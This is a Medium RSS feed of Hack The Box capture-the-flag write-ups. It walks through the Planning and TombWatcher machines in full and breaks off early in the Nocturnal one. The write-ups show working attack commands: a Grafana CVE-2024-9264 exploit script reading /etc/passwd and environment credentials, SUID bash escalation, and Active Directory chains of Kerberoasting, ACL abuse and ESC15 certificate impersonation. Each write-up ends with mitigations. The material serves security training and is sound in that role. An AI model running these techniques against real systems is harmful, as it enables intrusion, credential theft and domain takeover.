<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Diabl0xE on Medium]]></title>
        <description><![CDATA[Stories by Diabl0xE on Medium]]></description>
        <link>https://medium.com/@tushar_rana?source=rss-dd8b469532c4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sJWMr5YEa1SirwXmzhJ9yw.jpeg</url>
            <title>Stories by Diabl0xE on Medium</title>
            <link>https://medium.com/@tushar_rana?source=rss-dd8b469532c4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 04:13:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tushar_rana/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Planning — HTB Machine Writeup]]></title>
            <link>https://medium.com/@tushar_rana/planning-htb-machine-writeup-8d7dd9779209?source=rss-dd8b469532c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d7dd9779209</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Diabl0xE]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 12:12:03 GMT</pubDate>
            <atom:updated>2026-04-02T12:12:03.692Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*blfCtzKVYk74mkPc59OBdw.png" /></figure><h3>Initial Foothold</h3><h4>Nmap Scan Result:</h4><pre>nmap -A 10.129.169.171<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025–06–06 23:09 EDT<br>Nmap scan report for 10.129.169.171<br>Host is up (0.14s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)<br>|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)<br>80/tcp open http nginx 1.24.0 (Ubuntu)<br>|_http-title: Did not follow redirect to http://planning.htb/<br>|_http-server-header: nginx/1.24.0 (Ubuntu)<br>Device type: general purpose|router<br>Running: Linux 4.X|5.X, MikroTik RouterOS 7.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3<br>OS details: Linux 4.15–5.19, MikroTik RouterOS 7.2–7.5 (Linux 5.6.3)<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 1723/tcp)<br>HOP RTT ADDRESS<br>1 125.44 ms 10.10.14.1<br>2 125.55 ms 10.129.169.171</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 15.04 seconds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*Lgg5OEL4FRJG89r4i6YE-Q.png" /></figure><blockquote><em>Open Ports : 22, 80</em></blockquote><p>IP Address redirecting to host planning.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*wrt6wmiG8_dgQIXFlq_lmQ.png" /></figure><p>Adding planning.htb to my host config file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*tSV-ww0fD62UelV8EzaAUg.png" /></figure><p>I can now able to access the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwmMdXRzPNF6rUz2_pKM6w.png" /></figure><p>Tried Dir Brute-Force found noting interesting, moving forward with sub domain brute-force. Discovered <strong>grafana, </strong>and added <strong>grafana.planning.htb </strong>to my host config file.</p><pre>┌──(root㉿kali)-[~]<br>└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H &quot;Host: FUZZ.planning.htb&quot; -u http://planning.htb/ -fc 200,301</pre><pre>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       </pre><pre>       v2.1.0-dev<br>________________________________________________</pre><pre> :: Method           : GET<br> :: URL              : <a href="http://planning.htb/">http://planning.htb/</a><br> :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt<br> :: Header           : Host: FUZZ.planning.htb<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br> :: Filter           : Response status: 200,301<br>________________________________________________</pre><pre>grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 127ms]</pre><pre>[WARN] Caught keyboard interrupt (Ctrl-C)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*UTFM5Tl5luuB34YU-MUcPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*Giz_itXExLExYECE6ONNZQ.png" /></figure><p>Upon Login to grafana using creds (admin:0D5oT70Fq13EvB5r) provided, found a grafana version 11.0.0 which was vulnerable to <strong>CVE-2024–9264.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*1_QZ2gtcROfwrMZe8zJdvQ.png" /></figure><p>Using <a href="https://github.com/nollium/CVE-2024-9264">https://github.com/nollium/CVE-2024-9264</a> script by nollium. Grafana was vulnerable to LFI and RCE, I was able to run basic commands remotely.</p><blockquote><em>python3 CVE-2024–9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd </em><a href="http://grafana.planning.htb/"><em>http://grafana.planning.htb</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*Nc_LCgwrDeVIF8nZyy3Big.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*l9gOiSPVtiq6n4tvlxpphw.png" /></figure><p>Upon enumeration found an credentials of user <strong>enzo, </strong>Creds where stored in an environment variables.</p><blockquote><em>python3 CVE-2024–9264.py -u admin -p 0D5oT70Fq13EvB5r -c ‘printenv’ </em><a href="http://grafana.planning.htb/"><em>http://grafana.planning.htb</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*RFl5mf4qD2j2BxBsWcj8cg.png" /></figure><p>Using found creds to ssh on machine as user <strong>enzo</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*lOrJy5xbFDDnc4PPpPRi5A.png" /></figure><h3>Privilege Escalation</h3><p>Ran Linpeas tool and found out that port 8000 was running on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*AYbqW5TssiT1PJZ4qRancw.png" /></figure><p>Forwarding port 8000 from my ssh shell to my machine. I was successfully able to access the internal web server running on port 8000.It required authentication, and although I tried default credentials such as admin:admin and known combinations like enzo and Grafana defaults, they were unsuccessful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*Y7t_awqbzoTmbGqol9weqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jb4JhchXVHoOQEPfzGN9oQ.png" /></figure><p>After, going back to my linpeas output. Found an interesting file <strong>crontab.db. </strong>Upon reading a file, found a cred which I used to access port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*UWL47GbNRuMBMuIxSV5x3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*KLc-KwiHe0CDFveoiJMHmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*1zmrdecr7Xv_KfkBEZaFoQ.png" /></figure><p>Editing a Script to set SUID on bash file of the target machine and ran it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*tlPCTB3lBH6Ji2azQGJkPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*ziul9N6M-PItFM9_pHduYw.png" /></figure><p>After running the crontab manually, I was successfully be able to spawn a shell as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*S52ANReZ74Bqe9hjPlzzSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*ZdPV7BbKvKYuoWOtfFJpiQ.png" /></figure><h3>Mitigation</h3><ul><li>Upgrading grafana to latest patch version.</li><li>Remove the duckdb binary from PATH env, or remove it entirely from the system if not needed.</li><li>Avoid storing sensitive information such as credentials or API keys in environment variables.</li><li><strong>Avoid granting low-privileged users access to sensitive files</strong> such as crontab.db, as it can be exploited for privilege escalation or persistence by attackers.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d7dd9779209" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — TombWatcher Write-Up]]></title>
            <link>https://medium.com/@tushar_rana/htb-tombwatcher-write-up-70a4e93a8c67?source=rss-dd8b469532c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/70a4e93a8c67</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Diabl0xE]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 10:44:43 GMT</pubDate>
            <atom:updated>2026-04-02T10:44:43.766Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*qkOZ-IZ_nw0en04rNrK6wQ.png" /></figure><p><strong>Machine:</strong> TombWatcher<br><strong>Difficulty:</strong> Hard<br><strong>Category:</strong> Active Directory | ACL Abuse | ADCS | BloodHound<br><strong>Status:</strong> Active (Season 8)</p><h3>Overview</h3><p><strong>TombWatcher</strong> is a realistic and challenging Active Directory machine from Hack The Box Season 8, simulating an assumed breach scenario. Starting with credentials for an internal user, the box requires in-depth enumeration and chaining multiple AD misconfigurations to escalate privileges all the way to Domain Admin.</p><p>Throughout the machine, I exploited a series of vulnerabilities including:</p><ul><li><strong>WriteSPN abuse</strong> for targeted Kerberoasting,</li><li><strong>GMSA credential exposure</strong>,</li><li><strong>Active Directory ACL abuse</strong> like WriteOwner and GenericAll,</li><li><strong>Deleted object recovery</strong> for privilege pivoting,</li><li><strong>ESC15 ADCS exploitation</strong></li></ul><p>TombWatcher thoroughly tested my patience, AD enumeration skills, and understanding of real-world privilege escalation techniques in a layered enterprise environment.</p><h3>🔍 Initial Foothold — Assumed Breach</h3><pre>nmap -A 10.129.220.206<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 02:34 EDT<br>Nmap scan report for 10.129.220.206<br>Host is up (0.12s latency).<br>Not shown: 987 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-12 10:34:44Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2025-06-12T10:36:14+00:00; +4h00m02s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>|_ssl-date: 2025-06-12T10:36:15+00:00; +4h00m01s from scanner time.<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2025-06-12T10:36:14+00:00; +4h00m01s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2025-06-12T10:36:15+00:00; +4h00m01s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)<br>OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10<br>Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 4h00m01s, deviation: 0s, median: 4h00m00s<br>| smb2-time: <br>|   date: 2025-06-12T10:35:38<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required</pre><pre>TRACEROUTE (using port 80/tcp)<br>HOP RTT       ADDRESS<br>1   123.61 ms 10.10.14.1<br>2   123.63 ms 10.129.220.206</pre><pre>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 104.55 seconds</pre><p>As always, I began with a basic <strong>Nmap scan</strong> to identify open ports and running services on the target:</p><blockquote><em>Open Ports: 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985.</em></blockquote><p>These results clearly indicated a <strong>Windows Domain Controller.</strong></p><p>From the Nmap scan and further SMB/LDAP enumeration, I identified the <strong>domain name</strong> and <strong>hostname</strong> of the Domain Controller:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*OFv8FB9hvbLWJF6jCn5-NQ.png" /></figure><p>As this was an <em>assumed breach</em> scenario, I already had valid credentials for the internal domain user <strong>Henry. </strong>With these, I began internal enumeration. The first step was to collect <strong>Active Directory object relationships</strong> using <strong>BloodHound</strong>, which is extremely powerful for mapping privilege escalation paths.</p><pre>bloodhound-python -u henry -p ‘H3nry_987TGV!’ -d tombwatcher.htb -ns 10.129.220.206 -c all</pre><p>After importing the collected data into BloodHound, I began exploring <strong>privilege escalation paths</strong> by right-clicking on the user henry and selecting:</p><blockquote><em>🔎 </em><strong><em>“View Outbound Object Controls”</em></strong></blockquote><p>From there, I found a key privilege:</p><blockquote><em>🔑 </em><strong><em>User </em></strong><strong><em>henry has </em></strong><strong><em>WriteSPN rights over user </em></strong><strong><em>alfred</em></strong></blockquote><p>This meant I could register a custom SPN under Alfred, then perform a <strong>targeted Kerberoasting attack</strong> to extract a Ticket Granting Service (TGS) ticket, which can be cracked offline to retrieve Alfred’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*p8nkz8UWytkeDI0faSd2MA.png" /></figure><p>After discovering WriteSPN rights over user alfred, I leveraged the <a href="https://github.com/ShutdownRepo/targetedKerberoast">TargetedKerberoast</a> tool to perform a precise Kerberoasting attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*bPGUGr7B82yzGQqFWqMbVQ.png" /></figure><p><strong>Cracked the hash offline</strong> using <strong>Hashcat</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eHx0OshM5oZi2H_TAyUdw.png" /></figure><p>With <strong>Alfred’s credentials</strong>, I found that he had the ability to <strong>add himself to the “Infrastructure” group. </strong>This group membership is critical because <strong>members of the Infrastructure group have read access to the Group Managed Service Account (GMSA) password</strong> for the service account ansible_dev$.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*h-XtjyaD0BaWCrzL7wrR8Q.png" /></figure><pre>bloodyAD — host 10.129.220.206 -d tombwatcher.htb -u alfred -p basketball add groupMember “infrastructure” “alfred”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*0zxd_HnqGnwD4pydGuQ-Ig.png" /></figure><pre>bloodyAD — host 10.129.220.206 -d tombwatcher.htb -u alfred -p basketball get object “ansible_dev$” — attr msDS-ManagedPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nyT4a6Zv4WB6dEIGRtiglA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*I-ax2-cklkNsdNAkMMtOSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*iRaTRd1iu8Qik9Oa2dUX0Q.png" /></figure><p>After retrieving the password for the Group Managed Service Account ansible_dev$ (thanks to Alfred being in the Infrastructure group), I investigated what privileges this service account had.</p><p>Using <strong>BloodHound</strong> again, this time pivoting as ansible_dev$, I found:</p><blockquote><em>🔐 </em><strong><em>ansible_dev$ has the </em></strong><strong><em>ForceChangePassword privilege on the user </em></strong><strong><em>sam.</em></strong></blockquote><pre>impacket-changepasswd “tombwatcher.htb”/”sam”@10.129.220.206 -altuser “tombwatcher.htb/ansible_dev$” -no-pass -althashes “&lt;nt_hash&gt;” -newpass “Password01” -reset</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*_S93jhk0BtLZfWSvgGprRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*rGKfzWkbiMjYAxKsFnRcxQ.png" /></figure><p>After gaining access to the user <strong>sam</strong>, I ran BloodHound again and examined outbound object control. One key relationship stood out:</p><blockquote><em>🔓 </em><strong><em>User </em></strong><strong><em>sam has </em></strong><strong><em>WriteOwner privilege over user </em></strong><strong><em>john.</em></strong></blockquote><p>The WriteOwner permission allows changing the <strong>owner</strong> of an object , a powerful capability because once you’re the owner, you can grant yourself <strong>full control (GenericAll)</strong> over it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*XyVgNjvjTJTqE7r3gdoqhQ.png" /></figure><pre>bloodyAD — host 10.129.220.206 -d tombwatcher.htb -u “sam” -p ‘Password01’ set owner “john” “sam”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*DvQyHNIvVwwCbDn21P5z-A.png" /></figure><pre>bloodyAD — host 10.129.220.206 -d tombwatcher.htb -u “sam” -p ‘Password01’ add genericAll “john” “sam”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*M6YEgdSqoOc3Qnv3yUhcQg.png" /></figure><pre>bloodyAD — host 10.129.220.206 -d tombwatcher.htb -u “sam” -p “Password01” set password “john” “Password123”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*bUJlLgES38lLxzH22WMw6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*CfwQ7wo2mksprdvCtHBmZA.png" /></figure><p>After taking over <strong>john</strong>, I checked his group memberships and noticed he was a member of:</p><blockquote><em>👥 </em><strong><em>Remote Management Users</em></strong></blockquote><p>This group grants access to <strong>Windows Remote Management (WinRM)</strong>, allowing PowerShell remoting to the domain controller (or any system that has it enabled).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2clOpQ2snjEmV49zXvEQw.png" /></figure><p>✅ User flag captured!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*liZipANC-pqFwa5Pp0Pz1g.png" /></figure><h3>Privilege Escalation</h3><p>While exploring outbound object control in BloodHound as john, I discovered a promising relationship:</p><blockquote><em>🔓 </em><strong><em>User </em></strong><strong><em>john has </em></strong><strong><em>GenericAll over a user named </em></strong><strong><em>cert_admin.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*5lNO2pLxX2LdcgrpAZWPYw.png" /></figure><p>However, cert_admin didn’t exist in the live directory. This suggested one possibility:</p><blockquote><em>💡 </em><strong><em>The user may have been deleted, but still exists as a tombstoned (soft-deleted) AD object.</em></strong></blockquote><p>To confirm this, I listed deleted AD objects:</p><pre>Get-ADObject -Filter ‘isDeleted -eq $true’ -IncludeDeletedObjects -Properties * | Format-List Name, ObjectGUID, Deleted, DistinguishedName</pre><p>This confirmed that cert_admin had been deleted, but could still be <strong>restored</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*5xMRibmYYyh1JQkDJCFMnA.png" /></figure><p>Using john’s privileges, I restored the user object:</p><pre>Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*6yXA20hCHepst8x08gC1fQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*TRmha7D7NLNS5bSFrsf3_A.png" /></figure><p>After restoration, I used the GenericAll permission to reset cert_admin&#39;s password and take full control:</p><pre>rpcclient 10.129.220.206 -U “tombwatcher.htb\john”</pre><pre>setuserinfo cert_admin 23 Password01!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*LHsoggrOasV3hA-JS_42Gg.png" /></figure><p>✅ Now I had full control of cert_admin, and it was time to investigate their privileges, especially related to <strong>ADCS (Active Directory Certificate Services)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*Yw6aW_6_MoJ1J8C3F1Rh1g.png" /></figure><p>After restoring and taking control of the cert_admin user, the name immediately caught my attention:</p><blockquote><em>🧠 </em><em>cert_admin → possibly related to </em><strong><em>Certificate Services (ADCS)</em></strong></blockquote><p>To confirm, I ran <strong>Certipy-ad</strong> for ADCS enumeration:</p><pre>certipy-ad find -u cert_admin -p Password01! -dc-ip 10.129.220.206 -vulnerable -stdout -target-ip 10.129.220.206</pre><p>✅ <strong>ESC15 vulnerability detected!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*ND6Y_BXjROWZxwba0ueGZw.png" /></figure><p>With the vulnerable template <strong>WebServer </strong>confirmed via certipy-ad, I moved forward with <strong>exploiting ESC15</strong> to impersonate the <strong>Administrator</strong> user.</p><p>The exploitation involves requesting a certificate for administrator@tombwatcher.htb, while injecting a malicious <strong>Application Policy</strong> (EKU: Client Authentication), allowing us to use the certificate for authentication.</p><pre>certipy-ad req -u cert_admin -p Password01! -dc-ip 10.129.220.206 -target DC01.tombwatcher.htb -ca “tombwatcher-CA-1” -application-policies ‘Client Authentication’ -template WebServer -upn Administrator@tombwatcher.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*E2nuDEHgup-sRQHtFTRqmQ.png" /></figure><p>With the administrator.pfx certificate from the <strong>ESC15</strong> attack in hand, I used it to authenticate as the <strong>Domain Administrator</strong> and perform privileged actions via LDAP.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.220.206 -ldap-shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*y7X5nUwxk7K0NAZ_7kLZeQ.png" /></figure><p>At this stage, with john now a member of <strong>Domain Admins</strong> and <strong>Enterprise Admins</strong>, we have unrestricted control over the domain. From here, we have multiple options to prove full compromise:</p><ul><li>🗃️ <strong>Dump the NTDS.dit</strong> and SYSTEM hive to extract all domain hashes</li><li>📂 <strong>Access the Administrator’s profile</strong> directly and retrieve the root.txt flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*quHb2iCAvmpjcTSNmTxsqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*6y-nRUJEwA30xROvn0ACiQ.png" /></figure><p>🎉 <strong>Rooted TombWatcher!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*D75YS8eKOGP5_p0DmS23AA.png" /></figure><h3>Key Takeaways</h3><ul><li>Active Directory privilege escalation often involves chaining multiple small misconfigurations; no single vulnerability is enough.</li><li>Comprehensive enumeration using tools like BloodHound is essential to reveal complex ACL abuse paths.</li><li>Group Managed Service Accounts and ADCS are common weak points in enterprise environments if not properly secured.</li><li>Deleted AD objects can be restored and abused if permissions aren’t tightly controlled.</li><li>ADCS exploitation (ESC15) remains a powerful attack vector for lateral movement and domain compromise.</li><li>Patience and persistence in enumeration pays off.</li></ul><h3>Mitigations</h3><ul><li><strong>Limit WriteSPN Permissions:</strong> Regularly audit and restrict users who can modify SPNs to prevent Kerberoasting attacks.</li><li><strong>Harden Group Managed Service Accounts (gMSA):</strong> Control group memberships and monitor GMSA password retrievals carefully.</li><li><strong>Audit and Restrict ACLs:</strong> Use tools like BloodHound to find and fix excessive privileges such as WriteOwner and GenericAll. Apply the principle of least privilege.</li><li><strong>Secure AD Certificate Services (ADCS):</strong> Review certificate templates to avoid ESC15 vulnerabilities; restrict enrollment rights and keep servers patched.</li><li><strong>Enforce Multi-Factor Authentication (MFA):</strong> Especially for privileged accounts and remote access methods like WinRM.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70a4e93a8c67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nocturnal — HTB Machine Writeup]]></title>
            <link>https://medium.com/@tushar_rana/nocturnal-htb-machine-writeup-572c4eef7b18?source=rss-dd8b469532c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/572c4eef7b18</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Diabl0xE]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 06:46:31 GMT</pubDate>
            <atom:updated>2025-08-19T06:46:31.629Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nocturnal — HTB Machine Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*yuMTdLHfSg-JSLIzv4XrKA.png" /></figure><h3>Overview:</h3><p>In this post, I’ll walk through how I rooted the <strong>Nocturnal</strong> machine on Hack The Box. This easy-rated machine focused on web exploitation, weak access control, insecure file upload handling, and ended with privilege escalation via a known vulnerability in <strong>ISPConfig</strong>.</p><p>Key highlights from the attack chain:</p><ul><li><strong>Initial Access</strong> via file upload functionality that allowed user enumeration and access to other users’ documents.</li><li><strong>Sensitive Data Exposure</strong> through poorly secured .odt file, leaking credentials.</li><li><strong>Admin Portal Access</strong> using the leaked credentials, revealing a panel with source code and a vulnerable backup feature.</li><li><strong>Lateral Movement</strong> by extracting and cracking credentials from a local .db file and pivoting to SSH as another user.</li><li><strong>Port Forwarding</strong> to access an internal ISPConfig service running on port 8080.</li><li><strong>Privilege Escalation</strong> via <strong>CVE-2023–46818</strong>, a known RCE vulnerability in ISPConfig.</li></ul><h3>Initial Foothold</h3><h4>Nmap Result:</h4><blockquote><em>nmap -A 10.129.246.197</em></blockquote><pre>nmap -A 10.129.246.197<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025–06–09 23:02 EDT<br>Nmap scan report for 10.129.246.197<br>Host is up (0.13s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)<br>| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)<br>|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)<br>80/tcp open http nginx 1.18.0 (Ubuntu)<br>|_http-title: Did not follow redirect to 